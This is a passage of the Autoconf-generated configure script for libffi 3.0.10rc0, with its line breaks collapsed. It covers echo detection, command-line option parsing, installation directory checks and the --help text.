$ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # Cool, printf works : elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL export CONFIG_SHELL SHELL="$CONFIG_SHELL" export SHELL ECHO="$CONFIG_SHELL $0 --fallback-echo" elif echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then ECHO="$CONFIG_SHELL $0 --fallback-echo" else # maybe with a smaller string... prev=: for cmd in 'echo test' 'sed 2q "$0"' 'sed 10q "$0"' 'sed 20q "$0"' 'sed 50q "$0"'; do if { test "X$echo_test_string" = "X`eval $cmd`"; } 2>/dev/null then break fi prev="$cmd" done if test "$prev" != 'sed 50q "$0"'; then echo_test_string=`eval $prev` export echo_test_string exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "$0" ${1+"$@"} else # Oops. We lost completely, so just stick with echo. ECHO=echo fi fi fi fi fi fi # Copy echo and quote the copy suitably for passing to libtool from # the Makefile, instead of quoting the original, which is used later. lt_ECHO=$ECHO if test "X$lt_ECHO" = "X$CONFIG_SHELL $0 --fallback-echo"; then lt_ECHO="$CONFIG_SHELL \\\$\$0 --fallback-echo" fi test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` # # Initializations. # ac_default_prefix=/usr/local ac_clean_files= ac_config_libobj_dir=. LIBOBJS= cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= # Identity of this package. PACKAGE_NAME='libffi' PACKAGE_TARNAME='libffi' PACKAGE_VERSION='3.0.10rc0' PACKAGE_STRING='libffi 3.0.10rc0' PACKAGE_BUGREPORT='http://gcc.gnu.org/bugs.html' PACKAGE_URL='' # Factoring default headers for most tests. ac_includes_default="\ #include #ifdef HAVE_SYS_TYPES_H # include #endif #ifdef HAVE_SYS_STAT_H # include #endif #ifdef STDC_HEADERS # include # include #else # ifdef HAVE_STDLIB_H # include # endif #endif #ifdef HAVE_STRING_H # if !defined STDC_HEADERS && defined HAVE_MEMORY_H # include # endif # include #endif #ifdef HAVE_STRINGS_H # include #endif #ifdef HAVE_INTTYPES_H # include #endif #ifdef HAVE_STDINT_H # include #endif #ifdef HAVE_UNISTD_H # include #endif" ac_subst_vars='am__EXEEXT_FALSE am__EXEEXT_TRUE LTLIBOBJS LIBOBJS toolexeclibdir toolexecdir FFI_DEBUG_FALSE FFI_DEBUG_TRUE TARGETDIR TARGET sys_symbol_underscore HAVE_LONG_DOUBLE ALLOCA PA64_HPUX_FALSE PA64_HPUX_TRUE PA_HPUX_FALSE PA_HPUX_TRUE PA_LINUX_FALSE PA_LINUX_TRUE SH64_FALSE SH64_TRUE SH_FALSE SH_TRUE X86_64_FALSE X86_64_TRUE S390_FALSE S390_TRUE FRV_FALSE FRV_TRUE LIBFFI_CRIS_FALSE LIBFFI_CRIS_TRUE AVR32_FALSE AVR32_TRUE ARM_FALSE ARM_TRUE POWERPC_FREEBSD_FALSE POWERPC_FREEBSD_TRUE POWERPC_DARWIN_FALSE POWERPC_DARWIN_TRUE POWERPC_AIX_FALSE POWERPC_AIX_TRUE POWERPC_FALSE POWERPC_TRUE MOXIE_FALSE MOXIE_TRUE M68K_FALSE M68K_TRUE M32R_FALSE M32R_TRUE IA64_FALSE IA64_TRUE ALPHA_FALSE ALPHA_TRUE X86_DARWIN_FALSE X86_DARWIN_TRUE X86_WIN64_FALSE X86_WIN64_TRUE X86_WIN32_FALSE X86_WIN32_TRUE X86_FREEBSD_FALSE X86_FREEBSD_TRUE X86_FALSE X86_TRUE SPARC_FALSE SPARC_TRUE MIPS_FALSE MIPS_TRUE AM_LTLDFLAGS AM_RUNTESTFLAGS TESTSUBDIR_FALSE TESTSUBDIR_TRUE MAINT MAINTAINER_MODE_FALSE MAINTAINER_MODE_TRUE CPP OTOOL64 OTOOL LIPO NMEDIT DSYMUTIL lt_ECHO RANLIB AR OBJDUMP LN_S NM ac_ct_DUMPBIN DUMPBIN LD FGREP EGREP GREP SED LIBTOOL am__fastdepCCAS_FALSE am__fastdepCCAS_TRUE CCASDEPMODE CCASFLAGS CCAS am__fastdepCC_FALSE am__fastdepCC_TRUE CCDEPMODE AMDEPBACKSLASH AMDEP_FALSE AMDEP_TRUE am__quote am__include DEPDIR OBJEXT EXEEXT ac_ct_CC CPPFLAGS LDFLAGS CFLAGS CC am__untar am__tar AMTAR am__leading_dot SET_MAKE AWK mkdir_p MKDIR_P INSTALL_STRIP_PROGRAM STRIP install_sh MAKEINFO AUTOHEADER AUTOMAKE AUTOCONF ACLOCAL VERSION PACKAGE CYGPATH_W am__isrc INSTALL_DATA INSTALL_SCRIPT INSTALL_PROGRAM target_os target_vendor target_cpu target host_os host_vendor host_cpu host build_os build_vendor build_cpu build target_alias host_alias build_alias LIBS ECHO_T ECHO_N ECHO_C DEFS mandir localedir libdir psdir pdfdir dvidir htmldir infodir docdir oldincludedir includedir localstatedir sharedstatedir sysconfdir datadir datarootdir libexecdir sbindir bindir program_transform_name prefix exec_prefix PACKAGE_URL PACKAGE_BUGREPORT PACKAGE_STRING PACKAGE_VERSION PACKAGE_TARNAME PACKAGE_NAME PATH_SEPARATOR SHELL' ac_subst_files='' ac_user_opts=' enable_option_checking enable_dependency_tracking enable_shared enable_static with_pic enable_fast_install with_gnu_ld enable_libtool_lock enable_maintainer_mode enable_debug enable_structs enable_raw_api enable_purify_safety ' ac_precious_vars='build_alias host_alias target_alias CCAS CCASFLAGS CPP CPPFLAGS' # Initialize some variables set by options. ac_init_help= ac_init_version=false ac_unrecognized_opts= ac_unrecognized_sep= # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. # (The list follows the same order as the GNU Coding Standards.) bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datarootdir='${prefix}/share' datadir='${datarootdir}' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' includedir='${prefix}/include' oldincludedir='/usr/include' docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' infodir='${datarootdir}/info' htmldir='${docdir}' dvidir='${docdir}' pdfdir='${docdir}' psdir='${docdir}' libdir='${exec_prefix}/lib' localedir='${datarootdir}/locale' mandir='${datarootdir}/man' ac_prev= ac_dashdash= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval $ac_prev=\$ac_option ac_prev= continue fi case $ac_option in *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; *) ac_optarg=yes ;; esac # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_dashdash$ac_option in --) ac_dashdash=yes ;; -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=*) datadir=$ac_optarg ;; -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ | --dataroo | --dataro | --datar) ac_prev=datarootdir ;; -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) datarootdir=$ac_optarg ;; -disable-* | --disable-*) ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=no ;; -docdir | --docdir | --docdi | --doc | --do) ac_prev=docdir ;; -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) docdir=$ac_optarg ;; -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ac_prev=dvidir ;; -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) dvidir=$ac_optarg ;; -enable-* | --enable-*) ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=\$ac_optarg ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ac_prev=htmldir ;; -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ | --ht=*) htmldir=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localedir | --localedir | --localedi | --localed | --locale) ac_prev=localedir ;; -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) localedir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst | --locals) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ac_prev=pdfdir ;; -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) pdfdir=$ac_optarg ;; -psdir | --psdir | --psdi | --psd | --ps) ac_prev=psdir ;; -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) psdir=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=\$ac_optarg ;; -without-* | --without-*) ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=no ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) as_fn_error "unrecognized option: \`$ac_option' Try \`$0 --help' for more information." ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. case $ac_envvar in #( '' | [0-9]* | *[!_$as_cr_alnum]* ) as_fn_error "invalid variable name: \`$ac_envvar'" ;; esac eval $ac_envvar=\$ac_optarg export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` as_fn_error "missing argument to $ac_option" fi if test -n "$ac_unrecognized_opts"; then case $enable_option_checking in no) ;; fatal) as_fn_error "unrecognized options: $ac_unrecognized_opts" ;; *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; esac fi # Check all directory arguments for consistency. for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ datadir sysconfdir sharedstatedir localstatedir includedir \ oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ libdir localedir mandir do eval ac_val=\$$ac_var # Remove trailing slashes. case $ac_val in */ ) ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` eval $ac_var=\$ac_val;; esac # Be sure to have absolute directory names. case $ac_val in [\\/$]* | ?:[\\/]* ) continue;; NONE | '' ) case $ac_var in *prefix ) continue;; esac;; esac as_fn_error "expected an absolute directory name for --$ac_var: $ac_val" done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe $as_echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used." >&2 elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null ac_pwd=`pwd` && test -n "$ac_pwd" && ac_ls_di=`ls -di .` && ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || as_fn_error "working directory cannot be determined" test "X$ac_ls_di" = "X$ac_pwd_ls_di" || as_fn_error "pwd does not report name of working directory" # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then the parent directory. ac_confdir=`$as_dirname -- "$as_myself" || $as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_myself" : 'X\(//\)[^/]' \| \ X"$as_myself" : 'X\(//\)$' \| \ X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_myself" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` srcdir=$ac_confdir if test ! -r "$srcdir/$ac_unique_file"; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r "$srcdir/$ac_unique_file"; then test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." as_fn_error "cannot find sources ($ac_unique_file) in $srcdir" fi ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" ac_abs_confdir=`( cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error "$ac_msg" pwd)` # When building in place, set srcdir=. if test "$ac_abs_confdir" = "$ac_pwd"; then srcdir=. fi # Remove unnecessary trailing slashes from srcdir. # Double slashes in file names in object file debugging info # mess up M-x gdb in Emacs. case $srcdir in */) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; esac for ac_var in $ac_precious_vars; do eval ac_env_${ac_var}_set=\${${ac_var}+set} eval ac_env_${ac_var}_value=\$${ac_var} eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} eval ac_cv_env_${ac_var}_value=\$${ac_var} done # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures libffi 3.0.10rc0 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] --datadir=DIR read-only architecture-independent data [DATAROOTDIR] --infodir=DIR info documentation [DATAROOTDIR/info] --localedir=DIR locale-dependent data [DATAROOTDIR/locale] --mandir=DIR man documentation [DATAROOTDIR/man] --docdir=DIR documentation root [DATAROOTDIR/doc/libffi] --htmldir=DIR html documentation [DOCDIR] --dvidir=DIR dvi documentation [DOCDIR] --pdfdir=DIR pdf documentation [DOCDIR] --psdir=DIR ps documentation [DOCDIR] _ACEOF cat <<\_ACEOF Program names: --program-prefix=PREFIX prepend PREFIX to installed program names --program-suffix=SUFFIX append SUFFIX to installed program names --program-transform-name=PROGRAM run sed PROGRAM on installed program names System types: --build=BUILD configure for building on BUILD [guessed] --host=HOST cross-compile to build programs to run on HOST [BUILD] --target=TARGET configure for building compilers for TARGET [HOST] _ACEOF fi if test -n "$ac_init_help"; then case $ac_init_help in short | recursive ) echo "Configuration of libffi 3.0.10rc0:";; esac cat <<\_ACEOF Optional Features: --disable-option-checking ignore unrecognized --enable/--with options --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --disable-dependency-tracking speeds up one-time build --enable-dependency-tracking do not reject slow dependency extractors --enable-shared[=PKGS] build shared libraries [default=yes] --enable-static[=PKGS] build static libraries [default=yes] --enable-fast-install[=PKGS] optimize for fast installation [default=yes] --disable-libtool-lock avoid locking (might break parallel builds) --enable-maintainer-mode enable make rules and dependencies not useful (and sometimes confusing) to the casual installer --enable-debug debugging mode --disable-structs omit code for struct support --disable-raw-api make the raw api unavailable --enable-purify-safety purify-safe mode Optional Packages: --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) --with-pic try to use only PIC/non-PIC objects [default=use both] --with-gnu-ld assume the C compiler uses GNU ld [default=no] Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CCAS assembler compiler command (defaults to CC) CCASFLAGS assembler compiler flags (defaults to CFLAGS) CPP C preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. Report bugs to . _ACEOF ac_status=$? fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d "$ac_dir" || { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || continue ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix cd "$ac_dir" || { ac_status=$?; continue; } # Check for guested configure. if test -f "$ac_srcdir/configure.gnu"; then echo && $SHELL "$ac_srcdir/configure.gnu" --help=recursive elif test -f "$ac_srcdir/configure"; then echo && $SHELL "$ac_srcdir/configure" --help=recursive else $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi || ac_status=$? cd "$ac_pwd" || { ac_status=$?; break; } done fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF libffi configure 3.0.10rc0 generated by GNU Autoconf 2.65 Copyright (C) 2009 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit fi ## ------------------------ ## ## Autoconf initialization. ## ## ------------------------ ## # ac_fn_c_try_compile LINENO # -------------------------- # Try to compile conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_compile () { as_lineno=${as_lineno-"$1"} 